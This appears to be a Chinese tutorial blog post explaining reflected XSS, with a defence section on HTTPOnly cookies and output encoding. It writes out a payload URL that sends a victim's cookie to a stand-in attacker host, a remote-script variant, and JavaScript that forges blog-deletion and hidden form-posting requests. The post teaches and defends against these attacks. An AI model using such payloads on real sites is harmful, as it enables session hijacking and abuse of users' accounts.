【网络攻防】“跨站脚本攻击“ 第一弹 ——反射型XSS


  • 撰稿|谢泳
  • 编辑|王聪丽
  • 信息收集|谢泳


1. 初识XSS

跨站脚本攻击(Cross Site Script, XSS)是利用web前端代码注入来篡改页面,执行恶意脚本,达到窃取数据、冒充身份等目的的攻击方法。 浏览器根据HTML代码解析页面,现在的HTML中可以有很多JavaScript脚本,XSS攻击则是利用前端代码的漏洞,插入恶意代码。

XSS攻击者必须有一定的JavaScript基础。在没有规避XSS的网页上,往往通过构造一些不可见元素,触发链接或表单的提交,就可以盗取到数据,比如cookie劫持。一般来说,脚本的插入需要对原网页代码的标签、脚本进行拼接,使得插入后的页面代码仍然符合语法,能够执行。

根据恶意脚本作用的效果,XSS可分为反射型存储型


2. 反射型XSS

反射型XSS将用户输入的内容作为代码让浏览器执行达到攻击目的,一般需要让用户访问攻击者构造的URL。 这种类型的攻击只发生在客户端上,并且需要从带有恶意脚本参数的特定URL进入,所以也称为 非持久型XSS

要使用反射型XSS,目标网页中要使用一个参数值作为动态显示到页面的数据,并且目标网页对该参数值没有进行有效的检验,这样,就能在URL中通过构造参数的方式插入XSS payload(恶意脚本),让用户在不知情的情况下点击URL,从而执行XSS payload。反射型XSS虽然只是一次性,但方便攻击者利用。

在这里插入图片描述

反射型XSS攻击方式示意图

2.1 Cookie劫持

现在,有一个攻击者“小黑”,他决定对一个用户“小锅”进行cookie劫持。假设有一个页面http://www.reflect_xss.com/test.html存在反射型XSS漏洞,小黑向小锅发送如下URL:

http://www.reflect_xss.com/test.html?msg=<script>var+img=document.createElement(“img”);+img.src=”http://www.Evildoer.com/”%2bescape(document.cookie);+document.appendChild(img)</script>

当小锅毫无察觉地访问这个URL之后,他的cookie信息就会被发送到由小黑控制的http://www. Evildoer.com站点上,小锅访问reflect_xss的令牌被小黑获悉。于是,小黑使用这个令牌而不需要密码就可以假冒小锅进入这个网站。

如果小黑觉得这个URL太长,他可以将具体实现的脚本代码放在自己的http://www. Evildoer.com上,将URL改成:

http://www.reflect_xss.com/test.html?msg=<script+src=http://www.Evildoer.com/evil_script.js> </script>

当这个URL被访问的时候,会加载一个恶意脚本http: //www. Evildoer.com/evil_script.js,达到和上面方法一样的效果。事实上,小黑还可以对URL中的脚本进行URL编码,使其恶意意图看起来不那么明显。

2.2 Get请求

Get/post是web请求的两种方式,用户通过这两类请求来进行数据的增删查改。假设有一个博客网站www.bloggg.com,上面每篇博客都有一个blogID,当用户对点击删除博客的按钮时,会发送如下请求:

http://www.bloggg.com/deleteBlog.do?blogID=123

也就是说,只需要知道博客ID,已登录的用户通过请求这个URL就可以删除博客。小锅是这个博客网站的用户,他写了一篇博客(blogID=234567),小黑找到这篇博客的blogID,利用下面的XSS payload:

var img = document.createElement(‘img’);
img.src = http://www.bloggg.com/deleteBlog.do?blogID=234567;
document.body.appendChild(img)

当小锅不知不觉地执行了这个脚本之后,他的那篇博客就被删除了。这段代码首先创建了一个元素,然后为元素指定src,这个URL就是删除博客的接口。这里只是定义了元素,事实上这个请求未被执行。只有当第三行代码执行的时候,被添加到网页的DOM中,这个src属性才被访问,于是执行删除博客的请求。

2.3 Post请求

Get请求将参数附在URL的尾部即可传递,与此不同的是,post请求的数据不显示在URL中,这避免重要数据轻易泄露。一般来说,可以通过form表单或XMLHttpRequest提交post请求

小黑想用小锅的账号发一条动态来欺骗他的关注者,这条动态包括心情状态(mood)和一段文本(m_text)。所以小黑写了一段脚本,往页面中插入一个表单:

var evil_form = document.createElement(‘div’);
document.body.appendChild(evil_form);
evil_form.innerHTML =<form action=http://www.bloggg.com/share_mood.do name=”mood_form” id=”evil_form”>+<input type=”text” name=”mood” value=”happy”>+<input type=”text” name=”m_text” value=000000股票要飚了,买它!”>+
</form>’

document.getElementById(“evil_form”).submit();

这个脚本实现了form表单的自动提交,如果为表单设置display:hidden,这个表单甚至可以没有在页面出现,小锅根本无法察觉。同理可以应用于各种嵌入标签。利用XMLHttpRequest对象也能够提交数据到指定接口。


3. 防御方式

针对cookie劫持,最简单也很有效的方法是为敏感cookie设置一个HTTPOnly属性。 设置了该属性的cookie项不能被脚本读取。这保护了敏感cookie不被劫持,也允许一些其他cookie可以被脚本读取使用。

注入型的漏洞都是由于未经检查和处理就将用户可以控制的数据作为输出、作为代码执行,因此要对这样的数据进行检查。对于涉及HTML标签、JavaScript代码的字符和词汇进行编码, 使之不直接以原始的形式出现,减少作为代码被执行的可能。

这些漏洞能被利用的原因都是由于将数据当做代码执行,在编写代码的时候,要尽量做到两者的分离。 对于输入数据,在JavaScript中要用引号包裹,同时使用JavaScriptEncode编码字符,防止攻击者将引号闭合。减少执行输入数据的操作,XSS攻击者就失去了很多攻击机会。

想知道“存储型XSS”? 敬请期待下一期… …


在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/YiAnSociety/article/details/113336733